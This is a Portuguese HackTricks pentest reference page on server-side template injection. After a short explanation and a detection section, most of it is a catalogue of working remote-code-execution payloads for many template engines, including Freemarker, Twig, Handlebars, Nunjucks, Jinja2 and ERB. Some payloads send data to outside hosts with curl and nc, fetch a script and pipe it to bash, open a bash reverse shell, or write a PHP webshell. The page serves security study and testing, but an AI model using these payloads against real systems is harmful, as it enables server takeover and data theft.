SSTI (Server Side Template Injection)
Reading time: 31 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
O que é SSTI (Server-Side Template Injection)
Server-side template injection é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um template que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja.
Jinja é um popular mecanismo de templates usado em aplicações web. Vamos considerar um exemplo que demonstra um trecho de código vulnerável usando Jinja:
output = template.render(name=request.args.get('name'))
Neste código vulnerável, o parâmetro name da request do usuário é passado diretamente para o template usando a função render. Isso pode permitir que um atacante injete código malicioso no parâmetro name, levando a server-side template injection.
Por exemplo, um atacante poderia criar uma request com um payload como este:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}} é injetado no parâmetro name. Este payload pode conter diretivas de template Jinja que permitem ao atacante executar código não autorizado ou manipular o motor de templates, potencialmente obtendo controle sobre o servidor.
Para prevenir server-side template injection vulnerabilities, os desenvolvedores devem garantir que a entrada do usuário seja devidamente sanitizada e validada antes de ser inserida em templates. Implementar validação de entrada e usar técnicas de escaping conscientes do contexto pode ajudar a mitigar o risco dessa vulnerabilidade.
Detecção
Para detectar Server-Side Template Injection (SSTI), inicialmente, o fuzzing do template é uma abordagem direta. Isso envolve injetar uma sequência de caracteres especiais (${{<%[%'"}}%\) no template e analisar as diferenças na resposta do servidor entre dados regulares e esse payload especial. Indicadores de vulnerabilidade incluem:
- Erros lançados, revelando a vulnerabilidade e potencialmente o motor de templates.
 - Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente dos dados normais.
 - Contexto de texto simples: Diferencie de XSS verificando se o servidor avalia expressões de template (ex., 
{{7*7}},${7*7}). - Contexto de Código: Confirme a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando 
greetingemhttp://vulnerable-website.com/?greeting=data.usernamepara ver se a saída do servidor é dinâmica ou fixa, como emgreeting=data.username}}helloretornando o nome de usuário. 
Fase de identificação
Identificar o motor de templates envolve analisar mensagens de erro ou testar manualmente vários payloads específicos de linguagem. Payloads comuns que causam erros incluem ${7/0}, {{7/0}}, e <%= 7/0 %>. Observar a resposta do servidor a operações matemáticas ajuda a apontar o motor de templates específico.
Identificação por payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
Ferramentas
TInjA
um scanner SSTI + CSTI eficiente que utiliza polyglots inovadores
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
uma tabela interativa contendo os template injection polyglots mais eficientes, juntamente com as respostas esperadas dos 44 motores de template mais importantes.
Exploits
Genérico
Nesta wordlist você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
 - https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
 
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Recuperar as variáveis de ambiente do sistema
${T(java.lang.System).getenv()}
Java - Recuperar /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Você pode testar seus payloads em https://try.freemarker.apache.org
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ funciona apenas em versões do Freemarker anteriores a 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Mais informações
- Na seção FreeMarker de https://portswigger.net/research/server-side-template-injection
 - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
 
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Mais informações
- Na seção Velocity de https://portswigger.net/research/server-side-template-injection
 - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
 
Thymeleaf
Em Thymeleaf, um teste comum para vulnerabilidades SSTI é a expressão ${7*7}, que também se aplica a este template engine. Para possível execução remota de código, expressões como as seguintes podem ser usadas:
- SpringEL:
 
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
 
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf exige que essas expressões sejam colocadas dentro de atributos específicos. Contudo, inserção de expressões é suportada para outras localizações de template, usando sintaxe como [[...]] ou [(...)]. Assim, um payload simples de teste SSTI pode ser [[${7*7}]].
No entanto, a probabilidade desse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Desenvolvedores precisariam implementar seu próprio TemplateResolver para criar templates a partir de strings dinamicamente, o que é incomum.
Thymeleaf também oferece pré-processamento de expressões, onde expressões entre underscores duplos (__...__) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
#{selection.__${sel.code}__}
Exemplo de Vulnerabilidade em Thymeleaf
Considere o seguinte trecho de código, que pode ser suscetível à exploração:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Isso indica que, se o mecanismo de template processar essas entradas incorretamente, pode levar à execução remota de código acessando URLs como:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Mais informações
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Contornar filtros
Várias expressões de variável podem ser usadas; se ${...} não funcionar, tente #{...}, *{...}, @{...} ou ~{...}.
- Ler 
/etc/passwd 
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Script personalizado para geração de payload
 
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Mais informações
Manipulação de Spring View (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Versão antiga do Pebble ( < versão 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Nova versão do Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Corrigido por https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Mais informações
Hubspot - HuBL (Java)
{% %}delimitadores de instrução{{ }}delimitadores de expressão{# #}delimitadores de comentário{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- "A"{{'a'.concat('b')}}- "ab"{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o Jinjava project on Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Mais informações
Expression Language - EL (Java)
${"aaaa"}- "aaaa"${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas web) e a lógica da aplicação (como managed beans) no JavaEE. É amplamente usado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
- JavaServer Faces (JSF): Emprega EL para vincular componentes em páginas JSF aos dados e ações correspondentes no backend.
 - JavaServer Pages (JSP): EL é usado em JSP para acessar e manipular dados dentro de páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
 - Contexts and Dependency Injection for Java EE (CDI): EL se integra com CDI para permitir interação contínua entre a camada web e managed beans, garantindo uma estrutura de aplicação mais coerente.
 
Consulte a página a seguir para saber mais sobre a exploração de interpretadores EL:
Groovy (Java)
Os seguintes bypasses do Security Manager foram retirados deste writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
Outros Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- Mais informações em https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
 
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Mais informações
- Na seção Smarty de https://portswigger.net/research/server-side-template-injection
 - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
 
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Formato de template
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Mais informações
- Na seção Twig e Twig (Sandboxed) de https://portswigger.net/research/server-side-template-injection
 - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
 
Plates (PHP)
Plates é um engine de template nativo do PHP, inspirado no Twig. Contudo, ao contrário do Twig, que introduz uma nova sintaxe, o Plates aproveita código PHP nativo nos templates, tornando-o intuitivo para desenvolvedores PHP.
Controlador:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Modelo de página:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Modelo de layout:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Mais informações
PHPlib and HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB é o mesmo que PHPlib, mas portado para Pear.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Mais informações
Outros PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Mais informações em https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
 
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Mais informações
- Na seção Jade de https://portswigger.net/research/server-side-template-injection
 - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
 
patTemplate (PHP)
patTemplate motor de templates PHP que não compila, que usa tags XML para dividir um documento em diferentes partes
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Mais informações
Handlebars (NodeJS)
Path Traversal (mais informações here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Erro
 - ${7*7} = ${7*7}
 - Nada
 
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Mais informações
JsRender (NodeJS)
| Template | Descrição | 
|---|---|
| Avalia e renderiza a saída | |
| Avalia e renderiza saída codificada em HTML | |
| Comentário | |
| and | Permitir código (desabilitado por padrão) | 
- = 49
 
Lado do Cliente
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Lado do Servidor
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Mais informações
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Exemplo de renderização do lado do servidor
var pugjs = require("pug")
home = pugjs.render(injected_page)
Mais informações
NUNJUCKS (NodeJS)
- {{7*7}} = 49
 - {{foo}} = Sem saída
 - #{7*7} = #{7*7}
 - {{console.log(1)}} = Erro
 
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Mais informações
Outros NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Mais informações em https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
 
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Mais informações
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Mais informações
Outros (Ruby)
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Mais informações em https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
 
Python
Consulte a página a seguir para aprender truques sobre arbitrary command execution bypassing sandboxes em python:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Mais informações
Jinja2 (Python)
Jinja2 é um motor de templates completo para Python. Possui suporte total a unicode, um ambiente integrado opcional de execução em sandbox, é amplamente utilizado e licenciado sob BSD.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Formato de template
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE não depende de __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Mais detalhes sobre como abusar do Jinja:
Outros payloads em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Mais informações
Outros Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Mais informações em https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
 
Razor (.Net)
